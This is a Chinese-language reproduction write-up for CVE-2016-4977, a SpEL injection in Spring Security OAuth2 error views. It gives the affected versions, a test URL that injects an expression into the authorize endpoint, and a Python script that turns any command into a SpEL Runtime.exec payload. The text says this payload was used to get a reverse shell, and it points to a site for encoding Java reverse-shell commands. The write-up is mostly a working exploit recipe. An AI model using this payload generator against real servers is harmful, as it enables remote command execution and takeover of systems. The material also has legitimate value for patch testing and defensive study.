# (CVE-2016-4977)Spring Security OAuth2 远程命令执行漏洞
## 一、漏洞简介
Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块。在其使用 whitelabel views 来处理错误时,由于使用了Springs Expression Language (SpEL),攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。
## 二、漏洞影响
* Spring Security OAuth 2.0.0版本至2.0.9版本
* Spring Security OAuth 1.0.0版本至1.0.5版本中
## 三、复现过程
访问`http://www.badu.com:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test`。首先需要填写用户名和密码,我们这里填入`admin:admin`即可。
可见,我们输入是SpEL表达式`${233*233}`已经成功执行并返回结果:
![1.png](/static/lingzu/images/2020_06_13/f789dd0a04ce446cb8edd6527890977b.png)
然后,我们使用poc.py来生成反弹shell的POC
(注意:[Java反弹shell的限制与绕过方式要在这个网站进行转码]
“`
http://www.jackson-t.ca/runtime-exec-payloads.html
“`
“`
CVE-2016-4977.py
“`
“`python
#!/usr/bin/env python
message = input(‘Enter message to encode:’)
poc = ‘${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)’ % ord(message[0])
for ch in message[1:]:
poc += ‘.concat(T(java.lang.Character).toString(%s))’ % ord(ch)
poc += ‘)}’
print(poc)
“`
![2.png](/static/lingzu/images/2020_06_13/10c9412e2b564e8087f54cfac7febb2b.png)
如上图,生成了一大串SpEL语句。附带上这个SpEL语句,访问成功弹回shell:
![3.png](/static/lingzu/images/2020_06_13/00490ed728fa40bfb84b3e9990c1a572.png)
请登录后查看评论内容